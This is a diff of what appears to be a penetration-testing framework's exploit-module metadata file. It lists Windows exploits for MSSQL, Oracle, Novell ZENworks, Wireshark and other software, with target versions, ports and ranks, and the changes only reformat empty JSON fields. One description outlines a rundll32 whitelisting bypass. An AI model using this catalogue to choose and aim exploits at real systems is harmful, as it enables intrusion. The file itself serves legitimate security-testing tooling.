-189156,17 +168066,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/tiny_identd_overflow": { "name": "TinyIdentD 2.2 Stack Buffer Overflow", "fullname": "exploit/windows/misc/tiny_identd_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-05-14", "type": "exploit", @@ -189184,12 +168091,8 @@ "platform": "Windows", "arch": "", "rport": 113, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 Server SP4 - English", @@ -189221,9 +168124,7 @@ "exploit_windows/misc/trendmicro_cmdprocessor_addtask": { "name": "TrendMicro Control Manger CmdProcessor.exe Stack Buffer Overflow", "fullname": "exploit/windows/misc/trendmicro_cmdprocessor_addtask", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-12-07", "type": "exploit", @@ -189240,12 +168141,8 @@ "platform": "Windows", "arch": "", "rport": 20101, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 Server SP2 (DEP Bypass)" ], @@ -189256,17 +168153,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ufo_ai": { "name": "UFO: Alien Invasion IRC Client Buffer Overflow", "fullname": "exploit/windows/misc/ufo_ai", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-10-28", "type": "exploit", @@ -189282,12 +168176,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Universal" ], @@ -189298,17 +168188,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/unified_remote_rce": { "name": "Unified Remote Auth Bypass to RCE", "fullname": "exploit/windows/misc/unified_remote_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-02-25", "type": "exploit", @@ -189326,12 +168213,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 9512, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "default" ], @@ -189360,9 +168243,7 @@ "exploit_windows/misc/veeam_one_agent_deserialization": { "name": "Veeam ONE Agent .NET Deserialization", "fullname": "exploit/windows/misc/veeam_one_agent_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-15", "type": "exploit", @@ -189382,12 +168263,8 @@ "platform": "Windows", "arch": "cmd, x86, x64", "rport": 2805, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Command", "Windows Dropper", @@ -189418,9 +168295,7 @@ "exploit_windows/misc/vmhgfs_webdav_dll_sideload": { "name": "DLL Side Loading Vulnerability in VMware Host Guest Client Redirector", "fullname": "exploit/windows/misc/vmhgfs_webdav_dll_sideload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-08-05", "type": "exploit", @@ -189436,12 +168311,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64", "Windows x86" @@ -189453,17 +168324,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/webdav_delivery": { "name": "Serve DLL via webdav server", "fullname": "exploit/windows/misc/webdav_delivery", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "1999-01-01", "type": "exploit", @@ -189472,18 +168340,12 @@ "James Cook " ], "description": "This module simplifies the rundll32.exe Application Whitelisting Bypass technique.\n The module creates a webdav server that hosts a dll file. When the user types the provided rundll32\n command on a system, rundll32 will load the dll remotly and execute the provided export function.\n The export function needs to be valid, but the default meterpreter function can be anything.\n The process does write the dll to C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\TfsStore\\Tfs_DAV\n but does not load the dll from that location. This file should be removed after execution.\n The extension can be anything you'd like, but you don't have to use one. Two files will be\n written to disk. One named the requested name and one with a dll extension attached.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -189494,17 +168356,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/wifi_mouse_rce": { "name": "Wifi Mouse RCE", "fullname": "exploit/windows/misc/wifi_mouse_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-02-25", "type": "exploit", @@ -189524,12 +168383,8 @@ "platform": "Windows", "arch": "x64, x86", "rport": 1978, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "stager" ], @@ -189558,9 +168413,7 @@ "exploit_windows/misc/windows_rsh": { "name": "Windows RSH Daemon Buffer Overflow", "fullname": "exploit/windows/misc/windows_rsh", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-07-24", "type": "exploit", @@ -189576,12 +168429,8 @@ "platform": "Windows", "arch": "", "rport": 514, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 SP1 English", "Windows XP Pro SP2 English", @@ -189594,17 +168443,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/wireshark_lua": { "name": "Wireshark console.lua Pre-Loading Script Execution", "fullname": "exploit/windows/misc/wireshark_lua", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-07-18", "type": "exploit", @@ -189622,12 +168468,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Wireshark 1.6.1 or less" ], @@ -189638,17 +168480,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/wireshark_packet_dect": { "name": "Wireshark packet-dect.c Stack Buffer Overflow", "fullname": "exploit/windows/misc/wireshark_packet_dect", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-18", "type": "exploit", @@ -189668,12 +168507,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Win32 Universal (Generic DEP & ASLR Bypass)" ], @@ -189684,17 +168519,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mmsp/ms10_025_wmss_connect_funnel": { "name": "Windows Media Services ConnectFunnel Stack Buffer Overflow", "fullname": "exploit/windows/mmsp/ms10_025_wmss_connect_funnel", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-04-13", "type": "exploit", @@ -189711,12 +168543,8 @@ "platform": "Windows", "arch": "", "rport": 1755, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English" ], @@ -189727,17 +168555,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/motorola/timbuktu_fileupload": { "name": "Timbuktu Pro Directory Traversal/File Upload", "fullname": "exploit/windows/motorola/timbuktu_fileupload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-05-10", "type": "exploit", @@ -189752,12 +168577,8 @@ "platform": "Windows", "arch": "", "rport": 407, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -189768,17 +168589,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mssql/lyris_listmanager_weak_pass": { "name": "Lyris ListManager MSDE Weak sa Password", "fullname": "exploit/windows/mssql/lyris_listmanager_weak_pass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-12-08", "type": "exploit", @@ -189817,17 +168635,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mssql/ms02_039_slammer": { "name": "MS02-039 Microsoft SQL Server Resolution Overflow", "fullname": "exploit/windows/mssql/ms02_039_slammer", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-07-24", "type": "exploit", @@ -189868,17 +168683,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mssql/ms02_056_hello": { "name": "MS02-056 Microsoft SQL Server Hello Overflow", "fullname": "exploit/windows/mssql/ms02_056_hello", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-08-05", "type": "exploit", @@ -189919,17 +168731,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mssql/ms09_004_sp_replwritetovarbin": { "name": "MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption", "fullname": "exploit/windows/mssql/ms09_004_sp_replwritetovarbin", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-12-09", "type": "exploit", @@ -189980,17 +168789,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mssql/ms09_004_sp_replwritetovarbin_sqli": { "name": "MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection", "fullname": "exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-12-09", "type": "exploit", @@ -190044,17 +168850,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mssql/mssql_clr_payload": { "name": "Microsoft SQL Server Clr Stored Procedure Payload Execution", "fullname": "exploit/windows/mssql/mssql_clr_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -190094,17 +168897,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mssql/mssql_linkcrawler": { "name": "Microsoft SQL Server Database Link Crawling Command Execution", "fullname": "exploit/windows/mssql/mssql_linkcrawler", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2000-01-01", "type": "exploit", @@ -190145,17 +168945,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mssql/mssql_payload": { "name": "Microsoft SQL Server Payload Execution", "fullname": "exploit/windows/mssql/mssql_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2000-05-30", "type": "exploit", @@ -190199,22 +168996,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/mssql/mssql_payload_sqli": { "name": "Microsoft SQL Server Payload Execution via SQL Injection", "fullname": "exploit/windows/mssql/mssql_payload_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2000-05-30", "type": "exploit", @@ -190261,17 +169053,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mysql/mysql_mof": { "name": "Oracle MySQL for Microsoft Windows MOF Execution", "fullname": "exploit/windows/mysql/mysql_mof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-01", "type": "exploit", @@ -190289,12 +169078,8 @@ "platform": "Windows", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MySQL on Windows prior to Vista" ], @@ -190305,22 +169090,17 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/mysql/mysql_start_up": { "name": "Oracle MySQL for Microsoft Windows FILE Privilege Abuse", "fullname": "exploit/windows/mysql/mysql_start_up", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-01", "type": "exploit", @@ -190338,12 +169118,8 @@ "platform": "Windows", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MySQL on Windows" ], @@ -190354,22 +169130,17 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/mysql/mysql_yassl_hello": { "name": "MySQL yaSSL SSL Hello Message Buffer Overflow", "fullname": "exploit/windows/mysql/mysql_yassl_hello", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-01-04", "type": "exploit", @@ -190385,12 +169156,8 @@ "platform": "Windows", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MySQL 5.0.45-community-nt", "MySQL 5.1.22-rc-community" @@ -190402,17 +169169,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/mysql/scrutinizer_upload_exec": { "name": "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential", "fullname": "exploit/windows/mysql/scrutinizer_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-27", "type": "exploit", @@ -190457,17 +169221,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/nfs/xlink_nfsd": { "name": "Omni-NFS Server Buffer Overflow", "fullname": "exploit/windows/nfs/xlink_nfsd", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-11-06", "type": "exploit", @@ -190484,12 +169245,8 @@ "platform": "Windows", "arch": "", "rport": 2049, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English" ], @@ -190500,17 +169257,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/nimsoft/nimcontroller_bof": { "name": "CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow", "fullname": "exploit/windows/nimsoft/nimcontroller_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-05", "type": "exploit", @@ -190527,12 +169281,8 @@ "platform": "Windows", "arch": "x64", "rport": 48000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal (x64) - v7.80.3132" ], @@ -190550,9 +169300,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -190560,9 +169308,7 @@ "exploit_windows/nntp/ms05_030_nntp": { "name": "MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow", "fullname": "exploit/windows/nntp/ms05_030_nntp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-06-14", "type": "exploit", @@ -190579,12 +169325,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 English SP0-SP4", "Windows XP English SP0/SP1" @@ -190596,17 +169338,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/novell/file_reporter_fsfui_upload": { "name": "NFR Agent FSFUI Record File Upload RCE", "fullname": "exploit/windows/novell/file_reporter_fsfui_upload", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-11-16", "type": "exploit", @@ -190647,17 +169386,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/novell/groupwisemessenger_client": { "name": "Novell GroupWise Messenger Client Buffer Overflow", "fullname": "exploit/windows/novell/groupwisemessenger_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-07-02", "type": "exploit", @@ -190674,12 +169410,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell GroupWise Messenger 2.0 Client", "Novell GroupWise Messenger 1.0 Client" @@ -190691,17 +169423,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/novell/netiq_pum_eval": { "name": "NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution", "fullname": "exploit/windows/novell/netiq_pum_eval", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-15", "type": "exploit", @@ -190744,17 +169473,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/novell/nmap_stor": { "name": "Novell NetMail NMAP STOR Buffer Overflow", "fullname": "exploit/windows/novell/nmap_stor", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-12-23", "type": "exploit", @@ -190770,12 +169496,8 @@ "platform": "Windows", "arch": "", "rport": 689, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English" ], @@ -190786,17 +169508,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/novell/zenworks_desktop_agent": { "name": "Novell ZENworks 6.5 Desktop/Server Management Overflow", "fullname": "exploit/windows/novell/zenworks_desktop_agent", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-05-19", "type": "exploit", @@ -190812,12 +169531,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent" ], @@ -190828,17 +169543,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/novell/zenworks_preboot_op21_bof": { "name": "Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow", "fullname": "exploit/windows/novell/zenworks_preboot_op21_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-30", "type": "exploit", @@ -190857,12 +169569,8 @@ "platform": "Windows", "arch": "", "rport": 998, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2" ], @@ -190873,17 +169581,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/novell/zenworks_preboot_op4c_bof": { "name": "Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow", "fullname": "exploit/windows/novell/zenworks_preboot_op4c_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-22", "type": "exploit", @@ -190901,12 +169606,8 @@ "platform": "Windows", "arch": "", "rport": 998, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2", "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2" @@ -190918,17 +169619,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/novell/zenworks_preboot_op6_bof": { "name": "Novell ZENworks Configuration Management Preboot Service 0x06 Buffer Overflow", "fullname": "exploit/windows/novell/zenworks_preboot_op6_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-30", "type": "exploit", @@ -190946,12 +169644,8 @@ "platform": "Windows", "arch": "", "rport": 998, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2" ], @@ -190962,17 +169656,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/novell/zenworks_preboot_op6c_bof": { "name": "Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow", "fullname": "exploit/windows/novell/zenworks_preboot_op6c_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-22", "type": "exploit", @@ -190990,12 +169681,8 @@ "platform": "Windows", "arch": "", "rport": 998, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2", "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2" @@ -191007,17 +169694,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/nuuo/nuuo_cms_fu": { "name": "Nuuo Central Management Server Authenticated Arbitrary File Upload", "fullname": "exploit/windows/nuuo/nuuo_cms_fu", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-10-11", "type": "exploit", @@ -191034,12 +169718,8 @@ "platform": "Windows", "arch": "x86", "rport": 5180, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Nuuo Central Management Server <= v2.4.0" ], @@ -191050,17 +169730,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/nuuo/nuuo_cms_sqli": { "name": "Nuuo Central Management Authenticated SQL Server SQLi", "fullname": "exploit/windows/nuuo/nuuo_cms_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-10-11", "type": "exploit", @@ -191077,12 +169754,8 @@ "platform": "Windows", "arch": "x86", "rport": 5180, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Nuuo Central Management Server <= v2.10.0" ], @@ -191104,9 +169777,7 @@ "exploit_windows/oracle/client_system_analyzer_upload": { "name": "Oracle Database Client System Analyzer Arbitrary File Upload", "fullname": "exploit/windows/oracle/client_system_analyzer_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-01-18", "type": "exploit", @@ -191150,17 +169821,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/oracle/extjob": { "name": "Oracle Job Scheduler Named Pipe Command Execution", "fullname": "exploit/windows/oracle/extjob", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-01-01", "type": "exploit", @@ -191194,17 +169862,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/oracle/osb_ndmp_auth": { "name": "Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow", "fullname": "exploit/windows/oracle/osb_ndmp_auth", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-01-14", "type": "exploit", @@ -191220,12 +169885,8 @@ "platform": "Windows", "arch": "", "rport": 10000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)" ], @@ -191236,17 +169897,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/oracle/tns_arguments": { "name": "Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow", "fullname": "exploit/windows/oracle/tns_arguments", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-06-28", "type": "exploit", @@ -191262,12 +169920,8 @@ "platform": "Windows", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Oracle 8.1.7.0.0 Standard Edition (Windows 2000)", "Oracle 8.1.7.0.0 Standard Edition (Windows 2003)" @@ -191279,17 +169933,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/oracle/tns_auth_sesskey": { "name": "Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow", "fullname": "exploit/windows/oracle/tns_auth_sesskey", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-10-20", "type": "exploit", @@ -191308,12 +169959,8 @@ "platform": "Windows", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Oracle 10.2.0.1.0 Enterprise Edition", @@ -191326,17 +169973,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/oracle/tns_service_name": { "name": "Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow", "fullname": "exploit/windows/oracle/tns_service_name", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-05-27", "type": "exploit", @@ -191353,12 +169997,8 @@ "platform": "Windows", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Oracle 8.1.7.0.0 Standard Edition (Windows 2000)", "Oracle 8.1.7.0.0 Standard Edition (Windows 2003)" @@ -191370,17 +170010,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/pop3/seattlelab_pass": { "name": "Seattle Lab Mail 5.5 POP3 Buffer Overflow", "fullname": "exploit/windows/pop3/seattlelab_pass", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-05-07", "type": "exploit", @@ -191396,12 +170033,8 @@ "platform": "Windows", "arch": "", "rport": 110, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT/2000/XP/2003 (SLMail 5.5)" ], @@ -191412,17 +170045,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/postgres/postgres_payload": { "name": "PostgreSQL for Microsoft Windows Payload Execution", "fullname": "exploit/windows/postgres/postgres_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-04-10", "type": "exploit", @@ -191454,22 +170084,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "postgresql" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/proxy/bluecoat_winproxy_host": { "name": "Blue Coat WinProxy Host Header Overflow", "fullname": "exploit/windows/proxy/bluecoat_winproxy_host", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-01-05", "type": "exploit", @@ -191486,12 +170111,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinProxy <= 6.1 R1a Universal" ], @@ -191502,17 +170123,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/proxy/ccproxy_telnet_ping": { "name": "CCProxy Telnet Proxy Ping Overflow", "fullname": "exploit/windows/proxy/ccproxy_telnet_ping", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-11-11", "type": "exploit", @@ -191529,12 +170147,8 @@ "platform": "Windows", "arch": "x86", "rport": 23, - "autofilter_ports": [ - - ], 